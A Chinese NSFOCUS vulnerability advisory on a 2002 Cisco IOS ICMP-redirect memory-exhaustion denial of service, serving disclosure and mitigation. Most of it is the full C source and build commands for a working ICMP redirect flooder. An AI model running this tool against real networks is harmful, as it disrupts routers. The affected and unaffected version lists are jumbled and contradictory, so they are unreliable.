首页 -> 安全研究
安全研究
安全漏洞
Cisco IOS ICMP重定向拒绝服务攻击漏洞
发布日期:2002-05-21
更新日期:2002-05-27
受影响系统:
不受影响系统:
Cisco IOS 12.0 (3)
Cisco IOS 11.3 (11b)
Cisco IOS 11.1 (24a)
Cisco IOS 11.0 (22a)
Cisco IOS 11.0 (18)
描述:
Cisco IOS 12.2 (5)
Cisco IOS 12.1 (11)
Cisco IOS 12.0 (19)
Cisco IOS 11.3 (11b)
Cisco IOS 11.2 (26a)
BUGTRAQ ID: 4786
IOS是一款使用在CISCO路由器上的操作系统,由CISCO分发和维护。
部分CISCO路由器在处理大量伪造ICMP重定向信息时存在漏洞,可导致远程攻击者进行拒绝服务攻击。
ICMP重定向信息用于在IP网络中通知发送设备有关效率低的路由信息,Cisco IOS软件接收到此类ICMP重定向信息后会存储在内存中以便后续的参考,它们不成为普通路由表的一部分。
当产生ICMP重定向信息时在ICMP帧中的"offending packet"部分使用随机IP地址,IOS就会把这个IP地址包含在ICMP重定向表中,在受此漏洞影响的IOS中,此表没有对其大小进行限制,所以攻击者可以发送大量此类不正常的ICMP重定向信息而导致IOS软件消耗大量内存,产生拒绝服务攻击。
不受此漏洞影响的IOS软件对重定向条目进行限制,为16000条,大约会使用1.16MB大小的内存。
<*来源:FX (fx@phenoelit.de)
链接:http://www.phenoelit.de/stuff/CiscoICMP.txt
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
FX (fx@phenoelit.de)提供了如下测试方法:
使用下面的icmp_redflod.c程序,并与IRPAS库连接:
linuxbox# cd /where/irpas/is
linuxbox# make libpackets.a
linuxbox# gcc -o icmp_redflod -I. -L. icmp_redflod.c -lpackets
linuxbox# ./icmp_redflod -i eth0 -D <destination_ip> -G <fake_gateway>
FX(fx@phenoelit.de) 提供了如下测试程序:
/* ICMP redirect flooder
*
* FX <fx@phenoelit.de>
* Phenoelit (http://www.phenoelit.de)
* (c) 2k++
*
* $Id: icmp_redflod.c,v 1.3 2002/05/11 14:59:06 fx Exp fx $
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <rpc/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <signal.h>
#include <time.h>
#include "protocols.h"
#include "packets.h"
#include "build.h"
#include <pcap.h>
#include <net/bpf.h>
/* definitions */
#define IPTTL 0x80
#define DEFAULT_DELAY 100000
#define BANNER "ICMP Redir Flooder $Revision: 1.3 $\n"\
"\t(c) 2k++ FX <fx@phenoelit.de>\n"\
"\tPhenoelit (http://www.phenoelit.de)\n"
/* config */
struct {
int verbose;
char *device;
int flood;
int spoof_src;
int code;
struct in_addr dest;
struct in_addr src;
struct in_addr gw;
unsigned int delay;
} cfg;
/*
* globals
*/
u_char *rawpacket;
int icmpsfd;
sig_atomic_t stop_flag=0;
unsigned long iii=0;
/************************************
* prototypes */
void usage(char *n);
u_char *construct_icmp_redirect(struct in_addr *dest,
struct in_addr *newgw, int *psize);
/* PCAP */
void signaler(int sig);
/* the main function */
int main(int argc, char **argv) {
char option;
extern char *optarg;
u_char *icp;
int icl;
memset(&cfg,0,sizeof(cfg));
cfg.delay=DEFAULT_DELAY; cfg.flood=1; cfg.code=0xFF;
while ((option=getopt(argc,argv,"vfc:i:S:G:D:w:"))!=EOF) {
switch (option) {
case 'v': /* verbose */
cfg.verbose++;
break;
case 'f': cfg.flood=0;
break;
case 'i': /* local network device */
cfg.device=smalloc(strlen(optarg)+1);
strcpy(cfg.device,optarg);
break;
break;
case 'S': /* spoof source */
if (inet_aton(optarg,&(cfg.src))==0) {
fprintf(stderr,
"source IP address seems to be wrong\n");
return (1);
}
cfg.spoof_src++;
break;
case 'G': /* set gw */
if (inet_aton(optarg,&(cfg.gw))==0) {
fprintf(stderr,
"Gateway IP address seems to be wrong\n");
return (1);
}
break;
case 'D': /* dest address */
if (inet_aton(optarg,&(cfg.dest))==0) {
fprintf(stderr,
"dest IP address seems to be wrong\n");
return (1);
}
break;
case 'w': cfg.delay=atoi(optarg);
break;
case 'c': cfg.code=atoi(optarg);
break;
default: usage(argv[0]);
}
}
if (!cfg.device) usage(argv[0]);
/*
* TODO: add output on what we are about to do
*/
srand((unsigned int)time(NULL));
/* set up ICMP sender socket (IP) */
if ((icmpsfd=init_socket_IP4(cfg.device,0))<0) return (-1);
/* if spoofing is enabled, copy it */
if (!cfg.spoof_src) {
memcpy(&(cfg.src.s_addr), &(packet_ifconfig.ip.s_addr), IP_ADDR_LEN);
}
/* signal handling */
signal(SIGTERM,&signaler);
signal(SIGABRT,&signaler);
signal(SIGINT,&signaler);
/* my shit */
printf(BANNER); printf("\tIRPAS build %s\n",BUILD);
printf("Performing flood ...\n");
if (cfg.flood) {
while (!stop_flag) {
icp=construct_icmp_redirect(&(cfg.dest),&(cfg.gw),&icl);
sendpack_IP4(icmpsfd,icp,icl);
free(icp);
if (cfg.delay>0) usleep(cfg.delay);
}
} else {
icp=construct_icmp_redirect(&(cfg.dest),&(cfg.gw),&icl);
sendpack_IP4(icmpsfd,icp,icl);
free(icp);
}
/* at the end of the day, close our socket */
close(icmpsfd);
printf("Send %lu packets\n",iii);
return (0);
}
/********************** FUNCTIONS **********************/
void signaler(int sig) {
stop_flag++;
if (cfg.verbose>2)
fprintf(stderr,"\nSignal received.\n");
}
/* constructs the ICMP redirect
* * Returns a pointer to the packet or NULL if failed
* * returns also the size in *psize */
u_char *construct_icmp_redirect(struct in_addr *dest,
struct in_addr *newgw, int *psize) {
#define PADDING 0
u_char *tpacket;
iphdr_t *iph,*iporig;
icmp_redirect_t *icmp;
u_int16_t cs;
unsigned int randip;
*psize=sizeof(icmp_redirect_t)+sizeof(iphdr_t)+PADDING;
tpacket=(u_char *)smalloc(*psize
+3 /* for my checksum function, which sometimes
steps over the mark */
);
/* make up IP packet */
iph=(iphdr_t *)tpacket;
iph->version=4;
iph->ihl=sizeof(iphdr_t)/4;
iph->tot_len=htons(*psize);
iph->ttl=IPTTL;
iph->id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));
iph->protocol=IPPROTO_ICMP;
memcpy(&(iph->saddr.s_addr),&(cfg.src.s_addr),IP_ADDR_LEN);
memcpy(&(iph->daddr.s_addr),&(dest->s_addr),IP_ADDR_LEN);
/* make up the icmp header */
icmp=(icmp_redirect_t *)(tpacket+sizeof(iphdr_t));
icmp->type=ICMP_REDIRECT;
if (cfg.code==0xFF)
icmp->code=ICMP_REDIR_HOST;
else
icmp->code=(unsigned char)cfg.code;
memcpy(&(icmp->gateway),&(newgw->s_addr),IP_ADDR_LEN);
iporig=(iphdr_t *)(&(icmp->headerdata));
iporig->version=4;
iporig->ihl=sizeof(iphdr_t)/4;
iporig->tot_len=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));
iporig->id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));
iporig->protocol=IPPROTO_UDP;
memcpy(&(iporig->saddr.s_addr),&(cfg.dest.s_addr),IP_ADDR_LEN);
randip=((unsigned int)(4294967294.0*rand()/(RAND_MAX+1.0)));
memcpy(&(iporig->daddr.s_addr),&(randip),IP_ADDR_LEN);
iii++;
/* make up checksum */
cs=chksum((u_char *)icmp,sizeof(icmp_redirect_t));
icmp->checksum=cs;
return tpacket;
}
void usage(char *n) {
printf(
"%s [-v[v[v]]] [-f] -i <interface> \n"
"\t[-D <destination IP>\n"
"\t[-G <gateway IP>] [-w <delay>]\n"
"\t[-S <ip address>] [-c ICMP code]\n",
n);
exit (1);
}
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 在Cisco IOS 11.x中设置规则限制ICMP重定向信息:
router(config)#access-list 101 deny icmp any host <device_IP> redirect
.... (the rest of the access-list 101)
router(config)#interface eth0
router(config-if)#ip access-group 101 in
此规则能限制通过eth0接口的ICMP重定向信息,而对其他接口的ICMP通信将不受限制。
厂商补丁:
Cisco
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.cisco.com/warp/public/707/advisory.html
或者请使用如下不受此漏洞影响IOS版本:
Cisco IOS 11.0 (22a):
Cisco IOS 11.0 (18):
Cisco IOS 11.1 (24a):
Cisco IOS 11.3 (11b):
Cisco IOS 12.0 (3):
浏览次数:4794
严重程度:0(网友投票)
绿盟科技给您安全的保障